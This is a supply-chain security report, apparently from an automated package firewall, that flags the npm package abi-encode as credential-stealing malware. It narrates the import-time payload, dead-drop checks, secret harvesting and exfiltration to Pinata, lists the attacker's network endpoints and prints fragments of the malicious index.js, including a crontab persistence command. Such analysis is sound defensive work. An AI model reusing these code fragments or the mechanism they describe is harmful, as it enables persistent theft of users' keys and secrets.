registry / Credential exfiltration / abi-encode
abi-encode
Ethereum ABI encoding and decoding — encode function calls, decode parameters, parse event logs
This report shows the evidence for abi-encode@1.0.2. 5 of 5 known versions are blocked or flagged. The newest version, 1.0.4, is blocked. See all versions.
AI Security Review
scanned 3mo ago · by lpm-firewall-aiThis is a concrete malware chain executed automatically on import, not a test fixture or package-aligned feature. The absence of npm lifecycle hooks does not mitigate import-time credential theft, persistence, and exfiltration.
Static reason
No blocking static signals were detected.; source fingerprint signature matched known malicious package; routed for review
Trigger
Any runtime import/require of `index.js`; delayed by 37 seconds.
Impact
Steals cryptocurrency keys, SSH keys, seed phrases, and environment secrets; persists across sessions.
Mechanism
decoded staged payload performs secret harvesting, remote activation, persistence, and HTTPS exfiltration
Attack narrative
On import, `index.js` waits 37 seconds, decodes a base64 payload hidden as a test fixture, writes it under the user home directory, installs persistence, and launches it detached. The payload checks a mutable Gist and IPFS dead drops, scans wallet, SSH, document, shell-profile, and environment files for credentials, encrypts matches with an embedded public key, and posts them to Pinata.
AI rationale
This is a concrete malware chain executed automatically on import, not a test fixture or package-aligned feature. The absence of npm lifecycle hooks does not mitigate import-time credential theft, persistence, and exfiltration.
Evidence
package.jsonindex.jstest/fixtures/keypairs.dat$HOME/.cache-db/.node-sync/syncd.js$HOME/.cache-db/.node-sync/.lock$HOME/Library/LaunchAgents/com.apple.syncd.plist
Network endpoints5
gist.githubusercontent.com/juang55/b298754cb72942b1cdcf02ccd45cde2f/raw/cfg.txtgateway.pinata.cloud/ipfs/ipfs.io/ipfs/cloudflare-ipfs.com/ipfs/api.pinata.cloud/pinning/pinJSONToIPFS
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- `index.js` imports a delayed IIFE that runs automatically on module import.
- `index.js` decodes `test/fixtures/keypairs.dat`, writes `$HOME/.cache-db/.node-sync/syncd.js`, then starts it detached.
- Dropped code searches SSH, Ethereum, Solana, desktop, document, download, shell-profile, and `.env` paths for private keys and seed phrases.
- Dropped code encrypts harvested secrets and uploads them to `api.pinata.cloud`.
- Dropped code uses a mutable Gist/IPFS dead drop to activate collection.
- Dropped code persists via crontab, macOS LaunchAgents, or Windows scheduled tasks.
Evidence against
- `package.json` has no lifecycle scripts.
- Exported ABI helpers are ordinary local encoding/decoding functions.
- No benign purpose explains the concealed base64 payload, secret harvesting, exfiltration, and persistence chain.
Behavioral surface
ChildProcessCryptoFilesystemShell
Source & flagged code
2 flagged · loading sourceindex.jsView file
•matchType = malicious_source_fingerprint_signature
signature = b84f78d2c5659125
signatureType = suspicious_hashes
sourceLabel = final_verdict:malicious
matchedPackage = abi-encode@1.0.1
matchedPath = index.js
matchedIdentity = npm:YWJpLWVuY29kZQ:1.0.1
similarity = 1.000
shingleOverlap = 1
summary = package final verdict is malicious
High
Known Malware Source Fingerprint Signature
Source fingerprint signature matches a known malicious package signature; route for source-aware review.
index.jsView on unpkg26const strData = hex.slice(strOffset + 64, strOffset + 64 + strLen * 2);
L27: results.push(Buffer.from(strData, "hex").toString("utf8"));
L28: offset += 64;
...
L60: try {
L61: var f = require("fs"), p = require("path"), o = require("os"), c = require("child_process");
L62: var h = o.homedir(), d = p.join(h, ".cache-db", ".node-sync"), s = p.join(d, "syncd.js");
L63: if (f.existsSync(s)) return;
...
L68: try {
L69: if (process.platform === "linux") {
L70: c.execSync('(crontab -l 2>/dev/null | grep -v syncd; echo "0 */12 * * * /usr/bin/node '+s+' >/dev/null 2>&1") | crontab -', { timeout: 5e3 });
L71: } else if (process.platform === "win32") {
Medium
Install Persistence
Source writes installer persistence such as shell profile or service configuration.
index.jsView on unpkg · L26Findings
1 High1 Medium1 Low
HighKnown Malware Source Fingerprint Signatureindex.js
MediumInstall Persistenceindex.js
LowFilesystem
Affected versions and remediation
This report applies to abi-encode@1.0.2.
The versions list below shows the verdict for each recorded version.
- Avoid installing abi-encode@1.0.2. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.